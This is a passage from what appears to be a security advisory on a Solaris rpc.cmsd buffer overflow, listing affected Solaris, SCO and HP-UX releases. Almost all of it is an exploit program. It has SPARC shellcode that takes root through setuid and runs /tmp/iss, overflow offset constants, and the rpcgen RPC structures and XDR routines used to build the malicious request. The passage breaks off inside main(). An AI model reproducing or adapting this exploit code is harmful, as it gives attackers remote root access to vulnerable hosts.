COMMAND

    rpc.cmsd

SYSTEMS AFFECTED

    Solaris7 and previous, SCO,
    HP-9000 Series 700/800 HP-UX releases 10.20, 10.30, 11.00

PROBLEM

    There's bug in rpc.cmsd on Solaris.  Several exploits for rpc.cmsd
    seems to be floating around.  This vulnerability is being actively
    exploited.   The  vulnerability  is  known  to  exist  at least in
    Solaris 7, possibly  in earlier versions.   Here's one version  of
    exploit:

    /*
     *
     * cmsd warez
     *
     * executes /tmp/iss
     *
     * gcc -o c c.c -lrpcsvc -lnsl -lsocket
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <rpc/rpc.h>
    #include <netdb.h>
    #include <arpa/inet.h>

    char c0de[]=
    "\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
    "\x82\x10\x20\x8d"  /* mov 0x8d, %g1 - 0x8d==141==SYS_seteuid in g1 */
    "\x91\xd0\x20\x08"  /* ta 8 - seteuid(0); */
    "\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
    "\x82\x10\x20\x17"  /* mov 0x17, %g1 - 0x17==23==SYS_setuid in g1 */
    "\x91\xd0\x20\x08"  /* ta 8 - setuid(0); */
    "\x2d\x0b\xdd\x1b"  /* sethi %hi(0x2f746c00), %l6 */
    "\xac\x15\xa1\x70"  /* or %l6, 0x170, %l6 - "/tmp" */
    "\x2f\x0b\xda\x5c"  /* sethi %hi(0x2f697000), %l7 */
    "\xae\x15\xe3\x73"  /* or %l7, 0x373, %l7 - "/iss" */
    "\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0 - addr of "/tmp/iss" in o0 */
    "\x92\x03\xa0\x0c"  /* add %sp, 0xc, %o1 - addr of ptr->"/tmp/iss" o1 */
    "\x94\x1a\x80\x0a"  /* xor %o2, %o2, %o2 - 0 in o2 (envp) */
    "\x9c\x03\xa0\x14"  /* add %sp, 0x14, %sp - (0x14==20) give space */
    "\xec\x3b\xbf\xec"  /* std  %l6, [ %sp + -20 ] - store "/tmp/iss" */
    "\xc0\x23\xbf\xf4"  /* clr [ %sp + -12 ] - null term "/tmp/iss" */
    "\xdc\x23\xbf\xf8"  /* st %sp, [ %sp + -8 ] - make ptr->"/tmp/iss" */
    "\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ] - null term ptr array (argv) */
    "\x82\x10\x20\x3b"  /* mov 0x3b, %g1 - 0x3b==59==SYS_execve in g1 */
    "\x91\xd0\x20\x08"  /* ta 8 - execve(&"/tmp/iss",&(ptr->"/tmp/iss"),0) */
    "\x90\x1b\xc0\x0f"  /* xor %o7, %o7, %o0 - 0 in o0 */
    "\x82\x10\x20\x01"  /* mov 1, %g1 - 1==SYS_exit in g1 */
    "\x91\xd0\x20\x08"; /* ta 8 - exit(0) */

    #define X_OFFSET  5500
    #define RW_OFFSET 800
    #define NOPS      700
    #define ALIGN     (2000+sizeof(unsigned long)*7)
    #define REG_W_SIZ 64
    #define PRE_RET   (REG_W_SIZ-3*sizeof(unsigned long))
    #define OFBUFSIZ  (BUFSIZ+REG_W_SIZ+NOPS+sizeof(c0de)-sizeof(unsigned long))

    char cname[] = "root@ISS";

    /* ----- rpcgen ----- */

    /*
     * Please do not edit this file.
     * It was generated using rpcgen.
     */

    #ifndef _RTABLE4_H_RPCGEN
    #define	_RTABLE4_H_RPCGEN

    #include <rpc/rpc.h>

    typedef char *Buffer;

    enum Transaction {
	    add = 0,
	    cm_remove = 1
    };
    typedef enum Transaction Transaction;

    enum Interval {
	    single = 0,
	    daily = 1,
	    weekly = 2,
	    biweekly = 3,
	    monthly = 4,
	    yearly = 5,
	    nthWeekday = 6,
	    everyNthDay = 7,
	    everyNthWeek = 8,
	    everyNthMonth = 9,
	    otherPeriod = 10,
	    monThruFri = 11,
	    monWedFri = 12,
	    tueThur = 13,
	    daysOfWeek = 14
    };
    typedef enum Interval Interval;

    struct Period {
	    Interval period;
	    int nth;
	    long enddate;
    };
    typedef struct Period Period;

    enum Event_Type {
	    appointment = 0,
	    reminder = 1,
	    otherTag = 2,
	    holiday = 3,
	    toDo = 4
    };
    typedef enum Event_Type Event_Type;

    enum Options {
	    do_all = 0,
	    do_one = 1,
	    do_forward = 2
    };
    typedef enum Options Options;

    struct Tag {
	    Event_Type tag;
	    int showtime;
	    struct Tag *next;
    };
    typedef struct Tag Tag;

    enum Privacy_Level {
	    public = 0,
	    private = 1,
	    semiprivate = 2
    };
    typedef enum Privacy_Level Privacy_Level;

    struct Attribute {
	    struct Attribute *next;
	    Buffer attr;
	    Buffer value;
	    Buffer clientdata;
    };
    typedef struct Attribute Attribute;

    typedef Attribute *Attr;

    struct Except {
	    int ordinal;
	    struct Except *next;
    };
    typedef struct Except Except;

    typedef Except *Exception;

    struct Id {
	    long tick;
	    long key;
    };
    typedef struct Id Id;

    struct Uid {
	    struct Id appt_id;
	    struct Uid *next;
    };
    typedef struct Uid Uid;

    enum Appt_Status {
	    active = 0,
	    pendingAdd = 1,
	    pendingDelete = 2,
	    committed = 3,
	    cancelled = 4,
	    completed = 5
    };
    typedef enum Appt_Status Appt_Status;

    struct Appt {
	    struct Id appt_id;
	    struct Tag *tag;
	    int duration;
	    int ntimes;
	    Buffer what;
	    struct Period period;
	    Buffer author;
	    Buffer client_data;
	    struct Except *exception;
	    struct Attribute *attr;
	    Appt_Status appt_status;
	    Privacy_Level privacy;
	    struct Appt *next;
    };
    typedef struct Appt Appt;

    struct Abb_Appt {
	    struct Id appt_id;
	    struct Tag *tag;
	    Buffer what;
	    int duration;
	    struct Period period;
	    struct Abb_Appt *next;
	    Appt_Status appt_status;
	    Privacy_Level privacy;
    };
    typedef struct Abb_Appt Abb_Appt;

    struct Apptid {
	    struct Id *oid;
	    struct Appt *new_appt;
	    Options option;
    };
    typedef struct Apptid Apptid;

    struct Reminder {
	    struct Id appt_id;
	    long tick;
	    Attribute attr;
	    struct Reminder *next;
    };
    typedef struct Reminder Reminder;

    enum Table_Res_Type {
	    AP = 0,
	    RM = 1,
	    AB = 2,
	    ID = 3
    };
    typedef enum Table_Res_Type Table_Res_Type;

    struct Table_Res_List {
	    Table_Res_Type tag;
	    union {
		    Appt *a;
		    Reminder *r;
		    Abb_Appt *b;
		    Uid *i;
	    } Table_Res_List_u;
    };
    typedef struct Table_Res_List Table_Res_List;

    enum Access_Status {
	    access_ok = 0,
	    access_added = 1,
	    access_removed = 2,
	    access_failed = 3,
	    access_exists = 4,
	    access_partial = 5,
	    access_other = 6,
	    access_notable = 7,
	    access_notsupported = 8,
	    access_incomplete = 9
    };
    typedef enum Access_Status Access_Status;

    struct Table_Res {
	    Access_Status status;
	    Table_Res_List res;
    };
    typedef struct Table_Res Table_Res;
    #define access_none   0x0     /* owner only */
    #define access_read   0x1
    #define access_write  0x2
    #define access_delete 0x4
    #define access_exec   0x8     /* execution permission is a hack! */
    #define WORLD "world"	/* special user */

    struct Access_Entry {
	    Buffer who;
	    int access_type;
	    struct Access_Entry *next;
    };
    typedef struct Access_Entry Access_Entry;

    struct Access_Args {
	    Buffer target;
	    Access_Entry *access_list;
    };
    typedef struct Access_Args Access_Args;

    struct Range {
	    long key1;
	    long key2;
	    struct Range *next;
    };
    typedef struct Range Range;

    struct Keyrange {
	    long key;
	    long tick1;
	    long tick2;
	    struct Keyrange *next;
    };
    typedef struct Keyrange Keyrange;

    struct Uidopt {
	    struct Id appt_id;
	    Options option;
	    struct Uidopt *next;
    };
    typedef struct Uidopt Uidopt;

    enum Table_Args_Type {
	    TICK_4 = 0,
	    APPTID = 1,
	    UID = 2,
	    APPT = 3,
	    RANGE = 4,
	    KEYRANGE = 5,
	    UIDOPT = 6
    };
    typedef enum Table_Args_Type Table_Args_Type;

    struct Args {
	    Table_Args_Type tag;
	    union {
		    long tick;
		    Apptid apptid;
		    Uid *key;
		    Appt *appt;
		    Range *range;
		    Keyrange *keyrange;
		    Uidopt *uidopt;
	    } Args_u;
    };
    typedef struct Args Args;

    struct Table_Args {
	    Buffer target;
	    Args args;
	    int pid;
    };
    typedef struct Table_Args Table_Args;

    struct Registration {
	    Buffer target;
	    u_long prognum;
	    u_long versnum;
	    u_long procnum;
	    struct Registration *next;
	    int pid;
    };
    typedef struct Registration Registration;

    struct Table_Op_Args {
	    Buffer target;
	    Buffer new_target;
    };
    typedef struct Table_Op_Args Table_Op_Args;

    enum Table_Status {
	    ok = 0,
	    duplicate = 1,
	    badtable = 2,
	    notable = 3,
	    denied = 4,
	    other = 5,
	    tbl_not_owner = 6,
	    tbl_exist = 7,
	    tbl_notsupported = 8
    };
    typedef enum Table_Status Table_Status;

    enum Registration_Status {
	    registered = 0,
	    failed = 1,
	    deregistered = 2,
	    confused = 3,
	    reg_notable = 4
    };
    typedef enum Registration_Status Registration_Status;

    /*
     * rtable_delete and rtable_change take over the functionality of
     * rtable_delete_instance and rtable_change_instance repectively.
     * rtable_delete_instance and rtable_change_instance are now dummy
     * routines exist for backward compatibility purpose and return
     * access_notsupported.
     */

    extern Appt* make_appt();
    extern void destroy_appt();
    extern void destroy_list();
    extern Appt *copy_appt();
    extern Appt *copy_semiprivate_appt();
    extern Abb_Appt *make_abbrev_appt();
    extern void destroy_abbrev_appt();
    extern Abb_Appt *copy_abbrev_appt();
    extern Abb_Appt *appt_to_abbrev();
    extern Abb_Appt *appt_to_semiprivate_abbrev();
    extern Reminder* make_reminder();
    extern void destroy_reminder();
    extern Reminder* copy_reminder();
    extern Uid* make_keyentry();
    extern void destroy_keyentry();
    extern Uid* copy_keyentry();
    extern Access_Entry* make_access_entry();
    extern Access_Entry* copy_access_list();
    extern void destroy_access_list();
    extern Abb_Appt *copy_single_abbrev_appt();
    extern Attribute *make_attr();

    #define	TABLEPROG ((unsigned long)(100068))
    #define	TABLEVERS ((unsigned long)(4))
    #define	rtable_ping ((unsigned long)(0))
    extern  void * rtable_ping_4();
    #define	rtable_lookup ((unsigned long)(1))
    extern  Table_Res * rtable_lookup_4();
    #define	rtable_lookup_next_larger ((unsigned long)(2))
    extern  Table_Res * rtable_lookup_next_larger_4();
    #define	rtable_lookup_next_smaller ((unsigned long)(3))
    extern  Table_Res * rtable_lookup_next_smaller_4();
    #define	rtable_lookup_range ((unsigned long)(4))
    extern  Table_Res * rtable_lookup_range_4();
    #define	rtable_abbreviated_lookup_range ((unsigned long)(5))
    extern  Table_Res * rtable_abbreviated_lookup_range_4();
    #define	rtable_insert ((unsigned long)(6))
    extern  Table_Res * rtable_insert_4();
    #define	rtable_delete ((unsigned long)(7))
    extern  Table_Res * rtable_delete_4();
    #define	rtable_delete_instance ((unsigned long)(8))
    extern  Table_Res * rtable_delete_instance_4();
    #define	rtable_change ((unsigned long)(9))
    extern  Table_Res * rtable_change_4();
    #define	rtable_change_instance ((unsigned long)(10))
    extern  Table_Res * rtable_change_instance_4();
    #define	rtable_lookup_next_reminder ((unsigned long)(11))
    extern  Table_Res * rtable_lookup_next_reminder_4();
    #define	rtable_check ((unsigned long)(12))
    extern  Table_Status * rtable_check_4();
    #define	rtable_flush_table ((unsigned long)(13))
    extern  Table_Status * rtable_flush_table_4();
    #define	rtable_size ((unsigned long)(14))
    extern  int * rtable_size_4();
    #define	register_callback ((unsigned long)(15))
    extern  Registration_Status * register_callback_4();
    #define	deregister_callback ((unsigned long)(16))
    extern  Registration_Status * deregister_callback_4();
    #define	rtable_set_access ((unsigned long)(17))
    extern  Access_Status * rtable_set_access_4();
    #define	rtable_get_access ((unsigned long)(18))
    extern  Access_Args * rtable_get_access_4();
    #define	rtable_abbreviated_lookup_key_range ((unsigned long)(19))
    extern  Table_Res * rtable_abbreviated_lookup_key_range_4();
    #define	rtable_gmtoff ((unsigned long)(20))
    extern  long * rtable_gmtoff_4();
    #define	rtable_create ((unsigned long)(21))
    extern  Table_Status * rtable_create_4();
    #define	rtable_remove ((unsigned long)(22))
    extern  Table_Status * rtable_remove_4();
    #define	rtable_rename ((unsigned long)(23))
    extern  Table_Status * rtable_rename_4();
    extern int tableprog_4_freeresult();

    /* the xdr functions */
    extern bool_t xdr_Buffer();
    extern bool_t xdr_Transaction();
    extern bool_t xdr_Interval();
    extern bool_t xdr_Period();
    extern bool_t xdr_Event_Type();
    extern bool_t xdr_Options();
    extern bool_t xdr_Tag();
    extern bool_t xdr_Privacy_Level();
    extern bool_t xdr_Attribute();
    extern bool_t xdr_Attr();
    extern bool_t xdr_Except();
    extern bool_t xdr_Exception();
    extern bool_t xdr_Id();
    extern bool_t xdr_Uid();
    extern bool_t xdr_Appt_Status();
    extern bool_t xdr_Appt();
    extern bool_t xdr_Abb_Appt();
    extern bool_t xdr_Apptid();
    extern bool_t xdr_Reminder();
    extern bool_t xdr_Table_Res_Type();
    extern bool_t xdr_Table_Res_List();
    extern bool_t xdr_Access_Status();
    extern bool_t xdr_Table_Res();
    extern bool_t xdr_Access_Entry();
    extern bool_t xdr_Access_Args();
    extern bool_t xdr_Range();
    extern bool_t xdr_Keyrange();
    extern bool_t xdr_Uidopt();
    extern bool_t xdr_Table_Args_Type();
    extern bool_t xdr_Args();
    extern bool_t xdr_Table_Args();
    extern bool_t xdr_Registration();
    extern bool_t xdr_Table_Op_Args();
    extern bool_t xdr_Table_Status();
    extern bool_t xdr_Registration_Status();

    #endif /* !_RTABLE4_H_RPCGEN */

    /*
     * Please do not edit this file.
     * It was generated using rpcgen.
     */

    bool_t
    xdr_Buffer(xdrs, objp)
	    register XDR *xdrs;
	    Buffer *objp;
    {

	    register long *buf;

	    if (!xdr_string(xdrs, objp, ~0))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Transaction(xdrs, objp)
	    register XDR *xdrs;
	    Transaction *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Interval(xdrs, objp)
	    register XDR *xdrs;
	    Interval *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Period(xdrs, objp)
	    register XDR *xdrs;
	    Period *objp;
    {

	    register long *buf;

	    if (!xdr_Interval(xdrs, &objp->period))
		    return (FALSE);
	    if (!xdr_int(xdrs, &objp->nth))
		    return (FALSE);
	    if (!xdr_long(xdrs, &objp->enddate))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Event_Type(xdrs, objp)
	    register XDR *xdrs;
	    Event_Type *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Options(xdrs, objp)
	    register XDR *xdrs;
	    Options *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Tag(xdrs, objp)
	    register XDR *xdrs;
	    Tag *objp;
    {

	    register long *buf;

	    if (!xdr_Event_Type(xdrs, &objp->tag))
		    return (FALSE);
	    if (!xdr_int(xdrs, &objp->showtime))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Tag), (xdrproc_t) xdr_Tag))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Privacy_Level(xdrs, objp)
	    register XDR *xdrs;
	    Privacy_Level *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Attribute(xdrs, objp)
	    register XDR *xdrs;
	    Attribute *objp;
    {

	    register long *buf;

	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
		    return (FALSE);
	    if (!xdr_Buffer(xdrs, &objp->attr))
		    return (FALSE);
	    if (!xdr_Buffer(xdrs, &objp->value))
		    return (FALSE);
	    if (!xdr_Buffer(xdrs, &objp->clientdata))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Attr(xdrs, objp)
	    register XDR *xdrs;
	    Attr *objp;
    {

	    register long *buf;

	    if (!xdr_pointer(xdrs, (char **)objp, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Except(xdrs, objp)
	    register XDR *xdrs;
	    Except *objp;
    {

	    register long *buf;

	    if (!xdr_int(xdrs, &objp->ordinal))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Except), (xdrproc_t) xdr_Except))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Exception(xdrs, objp)
	    register XDR *xdrs;
	    Exception *objp;
    {

	    register long *buf;

	    if (!xdr_pointer(xdrs, (char **)objp, sizeof (Except), (xdrproc_t) xdr_Except))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Id(xdrs, objp)
	    register XDR *xdrs;
	    Id *objp;
    {

	    register long *buf;

	    if (!xdr_long(xdrs, &objp->tick))
		    return (FALSE);
	    if (!xdr_long(xdrs, &objp->key))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Uid(xdrs, objp)
	    register XDR *xdrs;
	    Uid *objp;
    {

	    register long *buf;

	    if (!xdr_Id(xdrs, &objp->appt_id))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uid), (xdrproc_t) xdr_Uid))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Appt_Status(xdrs, objp)
	    register XDR *xdrs;
	    Appt_Status *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Appt(xdrs, objp)
	    register XDR *xdrs;
	    Appt *objp;
    {

	    register long *buf;

	    if (!xdr_Id(xdrs, &objp->appt_id))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
		    return (FALSE);
	    if (!xdr_int(xdrs, &objp->duration))
		    return (FALSE);
	    if (!xdr_int(xdrs, &objp->ntimes))
		    return (FALSE);
	    if (!xdr_Buffer(xdrs, &objp->what))
		    return (FALSE);
	    if (!xdr_Period(xdrs, &objp->period))
		    return (FALSE);
	    if (!xdr_Buffer(xdrs, &objp->author))
		    return (FALSE);
	    if (!xdr_Buffer(xdrs, &objp->client_data))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->exception, sizeof (Except), (xdrproc_t) xdr_Except))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->attr, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
		    return (FALSE);
	    if (!xdr_Appt_Status(xdrs, &objp->appt_status))
		    return (FALSE);
	    if (!xdr_Privacy_Level(xdrs, &objp->privacy))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Appt), (xdrproc_t) xdr_Appt))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Abb_Appt(xdrs, objp)
	    register XDR *xdrs;
	    Abb_Appt *objp;
    {

	    register long *buf;

	    if (!xdr_Id(xdrs, &objp->appt_id))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
		    return (FALSE);
	    if (!xdr_Buffer(xdrs, &objp->what))
		    return (FALSE);
	    if (!xdr_int(xdrs, &objp->duration))
		    return (FALSE);
	    if (!xdr_Period(xdrs, &objp->period))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
		    return (FALSE);
	    if (!xdr_Appt_Status(xdrs, &objp->appt_status))
		    return (FALSE);
	    if (!xdr_Privacy_Level(xdrs, &objp->privacy))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Apptid(xdrs, objp)
	    register XDR *xdrs;
	    Apptid *objp;
    {

	    register long *buf;

	    if (!xdr_pointer(xdrs, (char **)&objp->oid, sizeof (Id), (xdrproc_t) xdr_Id))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->new_appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
		    return (FALSE);
	    if (!xdr_Options(xdrs, &objp->option))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Reminder(xdrs, objp)
	    register XDR *xdrs;
	    Reminder *objp;
    {

	    register long *buf;

	    if (!xdr_Id(xdrs, &objp->appt_id))
		    return (FALSE);
	    if (!xdr_long(xdrs, &objp->tick))
		    return (FALSE);
	    if (!xdr_Attribute(xdrs, &objp->attr))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Table_Res_Type(xdrs, objp)
	    register XDR *xdrs;
	    Table_Res_Type *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Table_Res_List(xdrs, objp)
	    register XDR *xdrs;
	    Table_Res_List *objp;
    {

	    register long *buf;

	    if (!xdr_Table_Res_Type(xdrs, &objp->tag))
		    return (FALSE);
	    switch (objp->tag) {
	    case AP:
		    if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.a, sizeof (Appt), (xdrproc_t) xdr_Appt))
			    return (FALSE);
		    break;
	    case RM:
		    if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.r, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
			    return (FALSE);
		    break;
	    case AB:
		    if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.b, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
			    return (FALSE);
		    break;
	    case ID:
		    if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.i, sizeof (Uid), (xdrproc_t) xdr_Uid))
			    return (FALSE);
		    break;
	    }
	    return (TRUE);
    }

    bool_t
    xdr_Access_Status(xdrs, objp)
	    register XDR *xdrs;
	    Access_Status *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Table_Res(xdrs, objp)
	    register XDR *xdrs;
	    Table_Res *objp;
    {

	    register long *buf;

	    if (!xdr_Access_Status(xdrs, &objp->status))
		    return (FALSE);
	    if (!xdr_Table_Res_List(xdrs, &objp->res))
		    return (FALSE);
	    return (TRUE);
    }
    #define access_none   0x0     /* owner only */
    #define access_read   0x1
    #define access_write  0x2
    #define access_delete 0x4
    #define access_exec   0x8     /* execution permission is a hack! */
    #define WORLD "world"	/* special user */

    bool_t
    xdr_Access_Entry(xdrs, objp)
	    register XDR *xdrs;
	    Access_Entry *objp;
    {

	    register long *buf;

	    if (!xdr_Buffer(xdrs, &objp->who))
		    return (FALSE);
	    if (!xdr_int(xdrs, &objp->access_type))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Access_Args(xdrs, objp)
	    register XDR *xdrs;
	    Access_Args *objp;
    {

	    register long *buf;

	    if (!xdr_Buffer(xdrs, &objp->target))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->access_list, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Range(xdrs, objp)
	    register XDR *xdrs;
	    Range *objp;
    {

	    register long *buf;

	    if (!xdr_long(xdrs, &objp->key1))
		    return (FALSE);
	    if (!xdr_long(xdrs, &objp->key2))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Range), (xdrproc_t) xdr_Range))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Keyrange(xdrs, objp)
	    register XDR *xdrs;
	    Keyrange *objp;
    {

	    register long *buf;

	    if (!xdr_long(xdrs, &objp->key))
		    return (FALSE);
	    if (!xdr_long(xdrs, &objp->tick1))
		    return (FALSE);
	    if (!xdr_long(xdrs, &objp->tick2))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Uidopt(xdrs, objp)
	    register XDR *xdrs;
	    Uidopt *objp;
    {

	    register long *buf;

	    if (!xdr_Id(xdrs, &objp->appt_id))
		    return (FALSE);
	    if (!xdr_Options(xdrs, &objp->option))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Table_Args_Type(xdrs, objp)
	    register XDR *xdrs;
	    Table_Args_Type *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Args(xdrs, objp)
	    register XDR *xdrs;
	    Args *objp;
    {

	    register long *buf;

	    if (!xdr_Table_Args_Type(xdrs, &objp->tag))
		    return (FALSE);
	    switch (objp->tag) {
	    case TICK_4:
		    if (!xdr_long(xdrs, &objp->Args_u.tick))
			    return (FALSE);
		    break;
	    case APPTID:
		    if (!xdr_Apptid(xdrs, &objp->Args_u.apptid))
			    return (FALSE);
		    break;
	    case UID:
		    if (!xdr_pointer(xdrs, (char **)&objp->Args_u.key, sizeof (Uid), (xdrproc_t) xdr_Uid))
			    return (FALSE);
		    break;
	    case APPT:
		    if (!xdr_pointer(xdrs, (char **)&objp->Args_u.appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
			    return (FALSE);
		    break;
	    case RANGE:
		    if (!xdr_pointer(xdrs, (char **)&objp->Args_u.range, sizeof (Range), (xdrproc_t) xdr_Range))
			    return (FALSE);
		    break;
	    case KEYRANGE:
		    if (!xdr_pointer(xdrs, (char **)&objp->Args_u.keyrange, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
			    return (FALSE);
		    break;
	    case UIDOPT:
		    if (!xdr_pointer(xdrs, (char **)&objp->Args_u.uidopt, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
			    return (FALSE);
		    break;
	    default:
		    return (FALSE);
	    }
	    return (TRUE);
    }

    bool_t
    xdr_Table_Args(xdrs, objp)
	    register XDR *xdrs;
	    Table_Args *objp;
    {

	    register long *buf;

	    if (!xdr_Buffer(xdrs, &objp->target))
		    return (FALSE);
	    if (!xdr_Args(xdrs, &objp->args))
		    return (FALSE);
	    if (!xdr_int(xdrs, &objp->pid))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Registration(xdrs, objp)
	    register XDR *xdrs;
	    Registration *objp;
    {

	    register long *buf;

	    if (!xdr_Buffer(xdrs, &objp->target))
		    return (FALSE);
	    if (!xdr_u_long(xdrs, &objp->prognum))
		    return (FALSE);
	    if (!xdr_u_long(xdrs, &objp->versnum))
		    return (FALSE);
	    if (!xdr_u_long(xdrs, &objp->procnum))
		    return (FALSE);
	    if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Registration), (xdrproc_t) xdr_Registration))
		    return (FALSE);
	    if (!xdr_int(xdrs, &objp->pid))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Table_Op_Args(xdrs, objp)
	    register XDR *xdrs;
	    Table_Op_Args *objp;
    {

	    register long *buf;

	    if (!xdr_Buffer(xdrs, &objp->target))
		    return (FALSE);
	    if (!xdr_Buffer(xdrs, &objp->new_target))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Table_Status(xdrs, objp)
	    register XDR *xdrs;
	    Table_Status *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    bool_t
    xdr_Registration_Status(xdrs, objp)
	    register XDR *xdrs;
	    Registration_Status *objp;
    {

	    register long *buf;

	    if (!xdr_enum(xdrs, (enum_t *)objp))
		    return (FALSE);
	    return (TRUE);
    }

    /*
     * rtable_delete and rtable_change take over the functionality of
     * rtable_delete_instance and rtable_change_instance repectively.
     * rtable_delete_instance and rtable_change_instance are now dummy
     * routines exist for backward compatibility purpose and return
     * access_notsupported.
     */

    extern Appt* make_appt();
    extern void destroy_appt();
    extern void destroy_list();
    extern Appt *copy_appt();
    extern Appt *copy_semiprivate_appt();
    extern Abb_Appt *make_abbrev_appt();
    extern void destroy_abbrev_appt();
    extern Abb_Appt *copy_abbrev_appt();
    extern Abb_Appt *appt_to_abbrev();
    extern Abb_Appt *appt_to_semiprivate_abbrev();
    extern Reminder* make_reminder();
    extern void destroy_reminder();
    extern Reminder* copy_reminder();
    extern Uid* make_keyentry();
    extern void destroy_keyentry();
    extern Uid* copy_keyentry();
    extern Access_Entry* make_access_entry();
    extern Access_Entry* copy_access_list();
    extern void destroy_access_list();
    extern Abb_Appt *copy_single_abbrev_appt();
    extern Attribute *make_attr();

    /* ----- rpcgen ----- */

    unsigned long resolve(char *host)
    {
      long i;
      struct hostent *he;

      if((i=inet_addr(host))==(-1))
        if(!(he=gethostbyname(host)))
          return(0);
        else
          return(*(unsigned long *)he->h_addr);

      return(i);
    }

    int main(int argc, char *argv[])
    {
      char obuf[OFBUFSIZ+1], abuf[ALIGN+1];
      struct sockaddr_in sin;
      struct timeval tv;
      Table_Op_Args toa;
      Table_Status ts;
      Table_Args ta;
      Table_Res tr;
      Appt ap;
      int sock;
      unsigned long *ptr;
      CLIENT *c;

      if(argc!=2)
        {
